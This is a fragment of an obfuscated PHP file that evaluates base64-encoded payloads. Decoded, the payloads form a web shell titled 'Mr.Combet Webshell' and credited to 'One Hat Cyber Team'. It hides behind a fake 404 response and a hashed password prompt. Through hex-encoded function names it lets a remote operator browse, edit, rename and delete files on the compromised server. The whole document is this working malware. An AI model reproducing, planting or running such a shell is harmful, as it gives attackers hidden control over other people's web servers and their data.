NBZ0lDQWdJRk5US0NSR01Ta2dMZ29nSUNBZ0lDQWdJQ0pjSWlCa1lYUmhMWFJ2WjJkc1pUMWNJblJ2YjJ4MGFYQmNJaUJrWVhSaExYQnNZV05sYldWdWREMWNJbUYxZEc5Y0lpQjBhWFJzWlQxY0lreGhkR1Z6ZENCdGIyUnBabmtnYjI0Z0lpQXVDaUFnSUNBZ0lDQWdKR000V3pFNVhTZ2lXUzF0TFdRZ1NEcHBJaXdnSkdNNFd6SXdYU2dpZXlSS1pIMHZleVJHTVgwaUtTa2dMZ29nSUNBZ0lDQWdJQ0pjSWo1N0pFWXhmVHd2WVQ0OEwzUmtQZ284ZEdRK1BITndZVzQrZXlSclRIMDhMM053WVc0K1BDOTBaRDRLUEhSa1BqeG1iMjUwSUdOdmJHOXlQVndpSWlBdUNpQWdJQ0FnSUNBZ0tDUmpPRnM0WFNnaWV5UktaSDB2ZXlSR01YMGlLUW9nSUNBZ0lDQWdJQ0FnSUNBL0lDSWpNREJtWmpBd0lnb2dJQ0FnSUNBZ0lDQWdJQ0E2SUNnaEpHTTRXemxkS0NKN0pFcGtmUzk3SkVZeGZTSXBDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQS9JQ0lqWm1Zd01EQXdJZ29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdPaUJ1ZFd4c0tTa2dMZ29nSUNBZ0lDQWdJQ0pjSWo0aUlDNEtJQ0FnSUNBZ0lDQnlUaWdpZXlSS1pIMHZleVJHTVgwaUtTQXVDaUFnSUNBZ0lDQWdJand2Wm05dWRENDhMM1JrUGdvOGRHUStQR0VnYUhKbFpqMWNJajl3UFNJZ0xnb2dJQ0FnSUNBZ0lGTnpLQ1JLWkNrZ0xnb2dJQ0FnSUNBZ0lDSW1ZVDBpSUM0S0lDQWdJQ0FnSUNCVGN5Z2laV1JwZENJcElDNEtJQ0FnSUNBZ0lDQWlKbTQ5SWlBdUNpQWdJQ0FnSUNBZ1UxTW9KRVl4S1NBdUNpQWdJQ0FnSUNBZ0lsd2lJR1JoZEdFdGRHOW5aMnhsUFZ3aWRHOXZiSFJwY0Z3aUlHUmhkR0V0Y0d4aFkyVnRaVzUwUFZ3aVlYVjBiMXdpSUhScGRHeGxQVndpUldScGRGd2lQa1ZrYVhROEwyRStQQzkwWkQ0S1BIUmtQanhoSUdoeVpXWTlYQ0kvY0QwaUlDNEtJQ0FnSUNBZ0lDQnpjeWdrU21RcElDNEtJQ0FnSUNBZ0lDQWlKbUU5SWlBdUNpQWdJQ0FnSUNBZ1UxTW9JbkpsYm1GdFpTSXBJQzRLSUNBZ0lDQWdJQ0FpSm00OUlpQXVDaUFnSUNBZ0lDQWdjM01vSkVZeEtTQXVDaUFnSUNBZ0lDQWdJaVowUFdaY0lpQmtZWFJoTFhSdloyZHNaVDFjSW5SdmIyeDBhWEJjSWlCa1lYUmhMWEJzWVdObGJXVnVkRDFjSW1GMWRHOWNJaUIwYVhSc1pUMWNJbEpsYm1GdFpWd2lQbEpsYm1GdFpUd3ZZVDQ4TDNSa1BnbzhkR1ErUEdFZ2FISmxaajFjSWo5d1BTSWdMZ29nSUNBZ0lDQWdJSE56S0NSS1pDa2dMZ29nSUNBZ0lDQWdJQ0ltWVQwaUlDNEtJQ0FnSUNBZ0lDQnpVeWdpWkdWc1pYUmxJaWtnTGdvZ0lDQWdJQ0FnSUNJbWJqMGlJQzRLSUNBZ0lDQWdJQ0J6Y3lna1JqRXBJQzRLSUNBZ0lDQWdJQ0FpWENJZ1kyeGhjM005WENKa1pXeGxkR1ZjSWlCa1lYUmhMWFI1Y0dVOVhDSm1hV3hsWENJZ1pHRjBZUzEwYjJkbmJHVTlYQ0owYjI5c2RHbHdYQ0lnWkdGMFlTMXdiR0ZqWlcxbGJuUTlYQ0poZFhSdlhDSWdkR2wwYkdVOVhDSkVaV3hsZEdWY0lqNUVaV3hsZEdVOEwyRStQQzkwWkQ0S1BDOTBjajRpT3dvZ0lDQWdXREU2Q24wS1lUSTZDajgrSUFvOEwzUmliMlI1UGdvOEwzUmhZbXhsUGdvOGFEVWdjM1I1YkdVOUltTnZiRzl5T2lBalptWm1aakF3T3lJK0NqeG1iMjUwUGlaamIzQjVPeUJEYjNCNWNtbG5hSFFnTWpBeU1qd3ZabTl1ZEQ0S1BHWnZiblFnYzNSNWJHVTlJbU52Ykc5eU9pQWpabVl3TURBd095SStUWEl1UTI5dFltVjBQQzltYjI1MFBnbzhabTl1ZEQ1UWIzZGxjbVZrSUdKNUlEd3ZabTl1ZEQ0S1BHWnZiblFnYzNSNWJHVTlJbU52Ykc5eU9pQWpabVl3TURBd095SStUMjVsSUVoaGRDQkRlV0psY2lCVVpXRnRQQzltYjI1MFBnbzhMMmcxUGdvOFAzQm9jQ0J0VWpvZ1B6NEtQQzlrYVhZK0NqeHpZM0pwY0hRZ2MzSmpQU0l2TDJOdlpHVXVhbkYxWlhKNUxtTnZiUzlxY1hWbGNua3RNeTQxTGpFdWMyeHBiUzV0YVc0dWFuTWlQand2YzJOeWFYQjBQZ284YzJOeWFYQjBJSE55WXowaUx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyNXdiUzlpYjI5MGMzUnlZWEJBTkM0MkxqQXZaR2x6ZEM5cWN5OWliMjkwYzNSeVlYQXVZblZ1Wkd4bExtMXBiaTVxY3lJZ1Bqd3ZjMk55YVhCMFBnbzhjMk55YVhCMElITnlZejBpTHk5alpHNHVhbk5rWld4cGRuSXVibVYwTDI1d2JTOWljeTFqZFhOMGIyMHRabWxzWlMxcGJuQjFkQzlrYVhOMEwySnpMV04xYzNSdmJTMW1hV3hsTFdsdWNIVjBMbTFwYmk1cWN5SStQQzl6WTNKcGNIUStDanh6WTNKcGNIUStaWFpoYkNobWRXNWpkR2x2Ymlod0xHRXNZeXhyTEdVc1pDbDdaVDFtZFc1amRHbHZiaWhqS1h0eVpYUjFjbTRvWXp4aFB5Y25PbVVvY0dGeWMyVkpiblFvWXk5aEtTa3BLeWdvWXoxakpXRXBQak0xUDFOMGNtbHVaeTVtY205dFEyaGhja052WkdVb1l5c3lPU2s2WXk1MGIxTjBjbWx1Wnlnek5pa3BmVHRwWmlnaEp5Y3VjbVZ3YkdGalpTZ3ZYaThzVTNSeWFXNW5LU2w3ZDJocGJHVW9ZeTB0S1h0a1cyVW9ZeWxkUFd0YlkxMThmR1VvWXlsOWF6MWJablZ1WTNScGIyNG9aU2w3Y21WMGRYSnVJR1JiWlYxOVhUdGxQV1oxYm1OMGFXOXVLQ2w3Y21WMGRYSnVKMXhjZHlzbmZUdGpQVEY5TzNkb2FXeGxLR010TFNsN2FXWW9hMXRqWFNsN2NEMXdMbkpsY0d4aFkyVW9ibVYzSUZKbFowVjRjQ2duWEZ4aUp5dGxLR01wS3lkY1hHSW5MQ2RuSnlrc2ExdGpYU2w5ZlhKbGRIVnliaUJ3ZlNnblJTNXVLQ2s3SkNoY0oxc3lMVzA5SWpRaVhWd25LUzQwS0NrN0pDZ2lMbXdpS1M1cktHb29aU2w3WlM1bktDazdhQ0F3UFNRb05pa3VOU2dpTWkwd0lpazdZeWg3WWpvaVlTSXNPVG9pYnlCcElIRS9JaXgzT2lKRUlDSXJNQ3NpSUhBZ1F5QkNJaXhCT2pjc2VqbzNMSDBwTG5rb0tEZ3BQVDU3Y2lnNEtYdDRJREU5SkNnMktTNDFLQ0l6SWlrcklpWjBQU0lyS0Nnd1BUMGlkaUlwUHlKa0lqb2laaUlwTzNVdWN5NHpQVEY5ZlNsOUtUc25MRFF4TERReExDZDBlWEJsZkdKMWFXeGtWVkpNZkdSaGRHRjhhSEpsWm54MGIyOXNkR2x3ZkdGMGRISjhkR2hwYzN4MGNuVmxmSGRwYkd4RVpXeGxkR1Y4ZEdsMGJHVjhkMkZ5Ym1sdVozeHBZMjl1ZkhOM1lXeDhmSHg4Y0hKbGRtVnVkRVJsWm1GMWJIUjhiR1YwZkhsdmRYeG1kVzVqZEdsdmJueGpiR2xqYTN4a1pXeGxkR1Y4ZEc5bloyeGxmR2x1YVhSOFFYSmxmSGRwYkd4OGMzVnlaWHhwWm54c2IyTmhkR2x2Ym54OFpHOWpkVzFsYm5SOFptOXNaR1Z5ZkhSbGVIUjhZMjl1YzNSOGRHaGxibnhrWVc1blpYSk5iMlJsZkdKMWRIUnZibk44WkdWc1pYUmxaSHhpWlh4VWFHbHpmR0p6UTNWemRHOXRSbWxzWlVsdWNIVjBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLVHd2YzJOeWFYQjBQZ284TDJKdlpIaytDand2YUhSdGJEND0nKSk/Pg=='))
eval(''.base64_decode('PD9waHAgJFd3PSJIIjskV1dXdz0ibCI7JFd3VyA9IjwiOyRXV1d3Lj0iZyI7JFdXV3cuPSJfIjskV1dXdy49Im0iOyRXdy49IlQiOyRXdy49IlQiOyRXV1d3Lj0iaSI7JFd3Vy49ImYiOyRXdy49IlAiOyRXdy49Il8iOyRXd1cuPSJvIjskV1dXdy49Im0iOyRXdy49IkgiOyRXdy49Ik8iOyRXd1cuPSJyIjskV1dXdy49ImEiOyRXdy49IlMiOyRXd1cuPSJtIjskV3cuPSJUIjskV3dXLj0iICI7JFd3Vy49Im4iOyRXd1cuPSJhIjskV3dXLj0ibSI7JFd3Vy49ImUiOyRXd1cuPSI9IjskV3dXLj0iJyI7JFd3Vy49ImYiOyRXd1cuPSJvIjskV3dXLj0iciI7JFd3Vy49Im0iOyRXd1cuPSIxIjskV3dXLj0iJyI7JFd3Vy49IiAiOyRXd1cuPSJhIjskV3dXLj0iYyI7JFd3Vy49InQiOyRXd1cuPSJpIjskV3dXLj0ibyI7JFd3Vy49Im4iOyRXd1cuPSI9IjskV3dXLj0iJyI7JFd3Vy49IiciOyRXd1cuPSIgIjskV3dXLj0ibSI7JFd3Vy49ImUiOyRXd1cuPSJ0IjskV3dXLj0iaCI7JFd3Vy49Im8iOyRXd1cuPSJkIjskV3dXLj0iPSI7JFd3Vy49IiciOyRXd1cuPSJwIjskV3dXLj0ibyI7JFd3Vy49InMiOyRXd1cuPSJ0IjskV3dXLj0iJyI7JFd3Vy49Ij4iOyRXd1cuPSI8IjskV3dXLj0iaSI7JFd3Vy49Im4iOyRXd1cuPSJwIjskV3dXLj0idSI7JFd3Vy49InQiOyRXd1cuPSIgIjskV3dXLj0ibiI7JFd3Vy49ImEiOyRXd1cuPSJtIjskV3dXLj0iZSI7JFd3Vy49Ij0iOyRXd1cuPSInIjskV3dXLj0ibCI7JFd3Vy49ImciOyRXd1cuPSJfIjtzZXNzaW9uX3N0YXJ0KCk7JFd3Vy49Im0iOyRXd1cuPSJpIjskV3dXLj0ibSI7JFd3Vy49ImEiOyRXd1cuPSInIjskV3dXLj0iICI7JFd3Vy49InQiOyRXd1cuPSJ5IjskV3dXLj0icCI7JFd3Vy49ImUiOyRXd1cuPSI9IjskV3dXLj0iJyI7JFd3Vy49InQiOyRXd1cuPSJlIjskV3dXLj0ieCI7JFd3Vy49InQiOyRXd1cuPSInIjskV3dXLj0iPiI7JFd3Vy49IjwiOyRXd1cuPSJpIjskV3dXLj0ibiI7JFd3Vy49InAiOyRXd1cuPSJ1IjskV3dXLj0idCI7JFd3Vy49IiAiOyRXd1cuPSJuIjskV3dXLj0iYSI7JFd3Vy49Im0iOyRXd1cuPSJlIjskV3dXLj0iPSI7JFd3Vy49IiciOyRXd1cuPSJzIjskV3dXLj0idSI7JFd3Vy49ImIiOyRXd1cuPSJtIjskV3dXLj0iaSI7JFd3Vy49InQiOyRXd1cuPSInIjskV3dXLj0iICI7JFd3Vy49InQiOyRXd1cuPSJ5IjskV3dXLj0icCI7JFd3Vy49ImUiOyRXd1cuPSI9IjskV3dXLj0iJyI7JFd3Vy49InMiOyRXd1cuPSJ1IjskV3dXLj0iYiI7JFd3Vy49Im0iOyRXd1cuPSJpIjskV3dXLj0idCI7JFd3Vy49IiciOyRXd1cuPSIgIjskV3dXLj0idiI7JFd3Vy49ImEiOyRXd1cuPSJsIjskV3dXLj0idSI7JFd3Vy49ImUiOyRXd1cuPSI9IjskV3dXLj0iJyI7JFd3Vy49InMiOyRXd1cuPSJ1IjskV3dXLj0iYiI7JFd3Vy49Im0iOyRXd1cuPSJpIjskV3dXLj0idCI7JFd3Vy49IiciOyRXd1cuPSI+IjskV3dXLj0iPCI7JFd3Vy49Ii8iOyRXd1cuPSJmIjskV3dXLj0ibyI7JFd3Vy49InIiOyRXd1cuPSJtIjskV3dXLj0iPiI7JFc9JF9TRVJWRVJbJFd3XTskVy49JFdXV3c7JFc9bWQ1KCRXKTskVz1zdWJzdHIoJFcsMCw2KTtpZihpc3NldCgkX1BPU1RbJFdXV3ddKSl7JF9TRVNTSU9OWyRXV1d3XT10cmltKCRfUE9TVFskV1dXd10pO31pZihlbXB0eSgkX1NFU1NJT05bJFdXV3ddKXx8JF9TRVNTSU9OWyRXV1d3XSE9JFcpe2VjaG8gJFd3VzsgZXhpdDt9Pz48P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7Cmh0dHBfcmVzcG9uc2VfY29kZSg0MDQpOwpkZWZpbmUoIllwIiwgIiIpOwokRzMgPSAic2NhbmRpciI7CiRjOCA9IFsKICAgICI3MDY4NzA1Zjc1NmU2MTZkNjUiLAogICAgIjcwNjg3MDc2NjU3MjczNjk2ZjZlIiwKICAgICI2NzY1NzQ2Mzc3NjQiLAogICAgIjYzNjg2NDY5NzIiLAogICAgIjcwNzI2NTY3NWY3MzcwNmM2OTc0IiwKICAgICI2MTcyNzI2MTc5NWY2NDY5NjY2NiIsCiAgICAiNjk3MzVmNjQ2OTcyIiwKICAgICI2OTczNWY2NjY5NmM2NSIsCiAgICAiNjk3MzVmNzc3MjY5NzQ2MTYyNmM2NSIsCiAgICAiNjk3MzVmNzI2NTYxNjQ2MTYyNmM2NSIsCiAgICAiNjY2OTZjNjU3MzY5N2E2NSIsCiAgICAiNjM2ZjcwNzkiLAogICAgIjY2Njk2YzY1NWY2NTc4Njk3Mzc0NzMiLAogICAgIjY2Njk2YzY1NWY3MDc1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMiLAogICAgIjY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMiLAogICAgIjZkNmI2NDY5NzIiLAogICAgIjcyNjU2ZTYxNmQ2NSIsCiAgICAiNzM3NDcyNzQ2Zjc0Njk2ZDY1IiwKICAgICI2ODc0NmQ2YzczNzA2NTYzNjk2MTZjNjM2ODYxNzI3MyIsCiAgICAiNjQ2MTc0NjUiLAogICAgIjY2Njk2YzY1NmQ3NDY5NmQ2NSIsCl07CiRsRSA9IDA7ClQ0OgppZiAoISgkbEUgPCBjb3VudCgkYzgpKSkgewogICAgZ290byBKZTsKfQokYzhbJGxFXSA9IEpEKCRjOFskbEVdKTsKQ3k6CiRsRSsrOwpnb3RvIFQ0OwpKZToKaWYgKGlzc2V0KCRfR0VUWyJwIl0pKSB7CiAgICBnb3RvIHNyOwp9CiRKZCA9ICRjOFsyXSgpOwpnb3RvIFZOOwpzcjoKJEpkID0gakQoJF9HRVRbInAiXSk7CiRjOFszXShKZCgkX0dFVFsicCJdKSk7ClZOOgpmdW5jdGlvbiBTcygkU1ApCnsKICAgICRkRSA9ICIiOwogICAgJGxFID0gMDsKICAgIE5aOgogICAgaWYgKCEoJGxFIDwgc3RybGVuKCRTUCkpKSB7CiAgICAgICAgZ290byBYYzsKICAgIH0KICAgICRkRSAuPSBkZWNoZXgob3JkKCRTUFskbEVdKSk7CiAgICBXSzoKICAgICRsRSsrOwogICAgZ290byBOWjsKICAgIFhjOgogICAgcmV0dXJuICRkRTsKfQpmdW5jdGlvbiBKZCgkU1ApCnsKICAgICRkRSA9ICIiOwogICAgJGdmID0gc3RybGVuKCRTUCkgLSAxOwogICAgJGxFID0gMDsKICAgIFhwOgogICAgaWYgKCEoJGxFIDwgJGdmKSkgewogICAgICAgIGdvdG8gdXI7CiAgICB9CiAgICAkZEUgLj0gY2hyKGhleGRlYygkU1BbJGxFXSAuICRTUFskbEUgKyAxXSkpOwogICAgV246CiAgICAkbEUgKz0gMjsKICAgIGdvdG8gWHA7CiAgICB1cjoKICAgIHJldHVybiAkZEU7Cn0KZnVuY3Rpb24gcm4oJEYxKQp7CiAgICAkSmQgPSBmaWxlcGVybXMoJEYxKTsKICAgIGlmICgoJEpkICYgMHhjMDAwKSA9PSAweGMwMDApIHsKICAgICAgICBnb3RvIEZaOwogICAgfQogICAgaWYgKCgkSmQgJiAweGEwMDApID09IDB4YTAwMCkgewogICAgICAgIGdvdG8gRXU7CiAgICB9CiAgICBpZiAoKCRKZCAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CiAgICAgICAgZ290byBFUzsKICAgIH0KICAgIGlmICgoJEpkICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgICAgICBnb3RvIHNBOwogICAgfQogICAgaWYgKCgkSmQgJiAweDQwMDApID09IDB4NDAwMCkgewogICAgICAgIGdvdG8gbEc7CiAgICB9CiAgICBpZiAoKCRKZCAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CiAgICAgICAgZ290byB0VjsKICAgIH0KICAgIGlmICgoJEpkICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgICAgICBnb3RvIFR4OwogICAgfQogICAgJGxFID0gInUiOwogICAgZ290byBjQzsKICAgIEZaOgogICAgJGxFID0gInMiOwogICAgZ290byBjQzsKICAgIEV1OgogICAgJGxFID0gImwiOwogICAgZ290byBjQzsKICAgIEVTOgogICAgJGxFID0gIi0iOwogICAgZ290byBjQzsKICAgIHNBOgogICAgJGxFID0gImIiOwogICAgZ290byBjQzsKICAgIGxHOgogICAgJGxFID0gImQiOwogICAgZ290byBjQzsKICAgIHRWOgogICAgJGxFID0gImMiOwogICAgZ290byBjQzsKICAgIFR4OgogICAgJGxFID0gInAiOwogICAgY0M6CiAgICAkbEUgLj0gJEpkICYgMHgxMDAgPyAiciIgOiAiLSI7CiAgICAkbEUgLj0gJEpkICYgMHg4MCA/ICJ3IiA6ICItIjsKICAgICRsRSAuPSAkSmQgJiAweDQwID8gKCRKZCAmIDB4ODAwID8gInMiIDogIngiKSA6ICgkSmQgJiAweDgwMCA/ICJTIiA6ICItIik7CiAgICAkbEUgLj0gJEpkICYgMHgyMCA/ICJyIiA6ICItIjsKICAgICRsRSAuPSAkSmQgJiAweDEwID8gInciIDogIi0iOwogICAgJGxFIC49ICRKZCAmIDB4OCA/ICgkSmQgJiAweDQwMCA/ICJzIiA6ICJ4IikgOiAoJEpkICYgMHg0MDAgPyAiUyIgOiAiLSIpOwogICAgJGxFIC49ICRKZCAmIDB4NCA/ICJyIiA6ICItIjsKICAgICRsRSAuPSAkSmQgJiAweDIgPyAidyIgOiAiLSI7CiAgICAkbEUgLj0gJEpkICYgMHgxID8gKCRKZCAmIDB4MjAwID8gInQiIDogIngiKSA6ICgkSmQgJiAweDIwMCA/ICJUIiA6ICItIik7CiAgICByZXR1cm4gJGxFOwp9CmZ1bmN0aW9uIFhlKCRPQiwgJENoID0gMSwgJEJMID0gIiIpCnsKICAgIGdsb2JhbCAkSmQ7CiAgICAkeGUgPSAkQ2ggPT0gMSA/ICJzdWNjZXNzIiA6ICJlcnJvciI7CiAgICBlY2hvICI8c2NyaXB0PnN3YWwoe3RpdGxlOiBcInskeGV9XCIsIHRleHQ6IFwieyRPQn1cIiwgaWNvbjogXCJ7JHhlfVwifSkudGhlbigoYnRuQ2xpY2spID0+IHtpZihidG5DbGljayl7ZG9jdW1lbnQubG9jYXRpb24uaHJlZj1cIj9wPSIgLgogICAgICAgIFNzKCRKZCkgLgogICAgICAgICRCTCAuCiAgICAgICAgIlwifX0pPC9zY3JpcHQ+IjsKfQpmdW5jdGlvbiB0RigkeWYpCnsKICAgIGdsb2JhbCAkYzg7CiAgICBpZiAoISh0cmltKHBhdGhpbmZvKCR5ZiwgUEFUSElORk9fQkFTRU5BTUUpLCAiLiIpID09PSAiIikpIHsKICAgICAgICBnb3RvIElFOwogICAgfQogICAgcmV0dXJuOwogICAgSUU6CiAgICBpZiAoJGM4WzZdKCR5ZikpIHsKICAgICAgICBnb3RvIFBGOwogICAgfQogICAgdW5saW5rKCR5Zik7CiAgICBnb3RvIGpLOwogICAgUEY6CiAgICBhcnJheV9tYXAoCiAgICAgICAgImRlbGRpciIsCiAgICAgICAgZ2xvYigkeWYgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gInssLn0qIiwgR0xPQl9CUkFDRSB8IEdMT0JfTk9TT1JUKQogICAgKTsKICAgIHJtZGlyKCR5Zik7CiAgICBqSzoKfQo/PiAKPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CjxtZXRhIHByb3BlcnR5PSJvZzp0aXRsZSIgY29udGVudD0iTXIuQ29tYmV0IFdlYnNoZWxsICYjMTI4MjkzOyIgLz4KPG1ldGEgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIiBjb250ZW50PSJPbmUgSGF0IEN5YmVyIFRlYW0iIC8+CjxtZXRhIG5hbWU9InRoZW1lLWNvbG9yIiBjb250ZW50PSIjZmYwMDAwIj4KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjYwLCBzaHJpbmstdG8tZml0PW5vIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA0LjYuMC9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyI+CjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyI+Cjx0aXRsZT5Nci5Db21iZXQgV2Vic2hlbGwgJiMxMjgyOTM7PC90aXRsZT4KPHN0eWxlPgpAaW1wb3J0IHVybCgnLy9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1LZWxseStTbGFiJmRpc3BsYXk9c3dhcCcpOwpib2R5IHsKICAgIGNvbG9yOiBibGFjazsKICAgIGZvbnQtc2l6ZTogMHB4OwogICAgZm9udC1mYW1pbHk6ICdLZWxseSBTbGFiJzsKICAgIHdpZHRoOiA5OSU7CiAgICBwYWRkaW5nOiAwcHg7CiAgICBtYXJnaW4tcmlnaHQ6IGF1dG87CiAgICBtYXJnaW4tbGVmdDogYXV0bzsKICAgIG1hcmdpbi10b3A6IDdweDsKICAgIG1hcmdpbi1ib3R0b206IDdweDsKICAgIGJhY2tncm91bmQtY29sb3I6IGJsYWNrIWltcG9ydGFudDsgfQouYmctZGFyayB7IGJhY2tncm91bmQtY29sb3I6IGJsYWNrIWltcG9ydGFudDsgfQouYm9yZGVyIHsKICAgIGJveC1zaGFkb3c6IDBweCAwcHggMTBweCAjZmYwMDAwOwogICAgYm9yZGVyOiAycHggc29saWQgI2ZmZmYwMCFpbXBvcnRhbnQ7CiAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKfQouYm9yZGVyOmhvdmVyIHsKYm94LXNoYWRvdzogMHB4IDBweCAxMHB4ICNmZmZmMDA7CmJvcmRlcjogMnB4IHNvbGlkICNmZjAwMDAhaW1wb3J0YW50Owp9Ci50YWJsZSB0ZCB7IHBhZGRpbmc6IDAuMXJlbTtib3gtc2hhZG93OiBpbnNldCAwcHggMHB4IDBweCAxcHggI2ZmMDAwMDtib3JkZXItcmFkaXVzOiAycHg7IH0KLnRhYmxlIHRoZWFkIHRoIHsgCiAgICBib3gtc2hhZG93OiBpbnNldCAwcHggMHB4IDBweCAxLjVweCAjZmYwMDAwOwogICAgY29sb3I6ICNmZmZmMDA7CiAgICBwYWRkaW5nOiAwLjI1cmVtOwogICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgYmxhY2ssICMzZjNmM2Y4MCk7Cn0KLnRhYmxlLWhvdmVyIHRib2R5IHRyOmhvdmVyIHRkeyBiYWNrZ3JvdW5kOiAjM2YzZjNmODA7Ym94LXNoYWRvdzogaW5zZXQgMHB4IDBweCAwcHggMXB4ICNmZmZmMDA7Ym9yZGVyLXJhZGl1czogMnB4OyB9Ci50YWJsZS1ob3ZlciB0Ym9keSB0cjpob3ZlciB0ZD4qeyB9Ci50YWJsZT50Ym9keT50cj4qeyBjb2xvcjojZmZmOyB2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IH0KLmZvcm0tY29udHJvbHtiYWNrZ3JvdW5kOjAgMCFpbXBvcnRhbnQ7Y29sb3I6I2ZmZiFpbXBvcnRhbnQ7Ym9yZGVyLXJhZGl1czowO30KLmZvcm0tY29udHJvbDo6cGxhY2Vob2xkZXJ7Y29sb3I6I2ZmZjtvcGFjaXR5OjF9Ci5mb3JtLWdyb3VwIHsKICAgIG1hcmdpbi10b3A6IDEuNXB4OwogICAgbWFyZ2luLWJvdHRvbTogMS41cHg7Cn0KbGl7CmZvbnQtc2l6ZToxN3B4IWltcG9ydGFudDsKY29sb3I6ICNmZmZmMDAhaW1wb3J0YW50OwpsaXN0LXN0eWxlOiBpbmhlcml0IWltcG9ydGFudDsKfQphIHsKY29sb3I6ICNmZmZmZmYhaW1wb3J0YW50Owp0ZXh0LWRlY29yYXRpb246IG5vbmUhaW1wb3J0YW50Owp9CmE6aG92ZXIgewp0ZXh0LWRlY29yYXRpb246IG5vbmUhaW1wb3J0YW50Owpjb2xvcjogI2ZmZmYwMCFpbXBvcnRhbnQ7Cn0KaDUgewogICAgbWFyZ2luLXRvcDogMS41cHg7CiAgICBtYXJnaW4tYm90dG9tOiAxLjVweDsKICAgIGZvbnQtc2l6ZTogMThweCFpbXBvcnRhbnQ7CiAgICBjb2xvcjogI2ZmZmYwMCFpbXBvcnRhbnQ7CiAgICBwYWRkaW5nOiAycHg7Cn0KdGV4dGFyZWEgewogICAgd2lkdGg6IDk3JTsKICAgIGZvbnQtc2l6ZTogMTZweDsKICAgIGZvbnQtZmFtaWx5OiBpbmhlcml0OwogICAgaGVpZ2h0OiA0NHZoOwogICAgcGFkZGluZy1sZWZ0OiA1cHg7Cn0KYnV0dG9uLCBpbnB1dCB7CmJvcmRlcjogMnB4IHNvbGlkICNmZmZmMDA7CmJvcmRlci1yYWRpdXM6IDVweDsKZm9udC1zaXplOiAxNXB4Owpjb2xvcjp3aGl0ZTsKbGluZS1oZWlnaHQ6IG5vcm1hbDsKZm9udC1mYW1pbHk6IGluaGVyaXQ7CmJveC1zaGFkb3c6IDBweCAwcHggNXB4ICNmZjAwMDA7Cn0KYnV0dG9uLCBpbnB1dDpob3ZlciB7IGJvcmRlcjogMnB4IHNvbGlkICNmZjAwMDA7Y3Vyc29yOiBwb2ludGVyO2JveC1zaGFkb3c6IDBweCAwcHggNXB4ICNmZmZmMDA7IH0KLm9oY3QgewogICAgcGFkZGluZy1sZWZ0OiAxcmVtOwogICAgcGFkZGluZy1yaWdodDogMXJlbTsKICAgIGNvbG9yOiB3aGl0ZTsKICAgIGJvcmRlcjogMnB4IHNvbGlkICNmZmZmMDA7CiAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDsKICAgIGZvbnQtZmFtaWx5OiBpbmhlcml0OwogICAgZm9udC1zaXplOiAxNnB4OwogICAgYm94LXNoYWRvdzogMHB4IDBweCA1cHggI2ZmMDAwMDsKfQoub2hjdDpob3ZlciB7CmJvcmRlcjogMnB4IHNvbGlkICNmZjAwMDA7CmNvbG9yOiAjZmZmZjAwIWltcG9ydGFudDsKYm94LXNoYWRvdzogMHB4IDBweCA1cHggI2ZmZmYwMDsKfQouY29tYmV0IHsgY29sb3I6IHdoaXRlOyB9Ci5jb21iZXQ6aG92ZXIgeyBjb2xvcjogI2ZmZmYwMDsgfQoucC0xIHsgcGFkZGluZzogNHB4OyB9Cjwvc3R5bGU+CjxzdHlsZT4KLmZhIHtwYWRkaW5nOiAxMHB4O2ZvbnQtc2l6ZTogMjBweDt3aWR0aDogNTBweDt0ZXh0LWFsaWduOiBjZW50ZXI7dGV4dC1kZWNvcmF0aW9uOiBub25lO21hcmdpbjogNXB4O2NvbG9yOiAjZmZmZjAwO30KLmZhOmhvdmVyIHtib3JkZXI6IDJweCBzb2xpZCAjZmYwMDAwO30KLnRleHQtbGlnaHQge2NvbG9yOiAjZjhmOWZhIWltcG9ydGFudDtmb250LXNpemU6IDE3cHghaW1wb3J0YW50O30KPC9zdHlsZT4KPHNjcmlwdCBzcmM9Ii8vdW5wa2cuY29tL3N3ZWV0YWxlcnQvZGlzdC9zd2VldGFsZXJ0Lm1pbi5qcyI+PC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+CjxkaXYgY2xhc3M9InRhYmxlLXJlc3BvbnNpdmUgdGV4dC1saWdodCIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7cGFkZGluZzogNHB4O2JvcmRlcjogMnB4IHNvbGlkICNmZjAwMDA7Ym9yZGVyLXJhZGl1czo1cHg7Ij4KCjxsaT5Zb3VyIElQIDogPHNwYW4gc3R5bGU9ImNvbG9yOiB3aGl0ZTsiPjw/cGhwIGVjaG8gZ2V0aG9zdGJ5bmFtZSgKICAgICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdCik7ID8+PC9zcGFuPj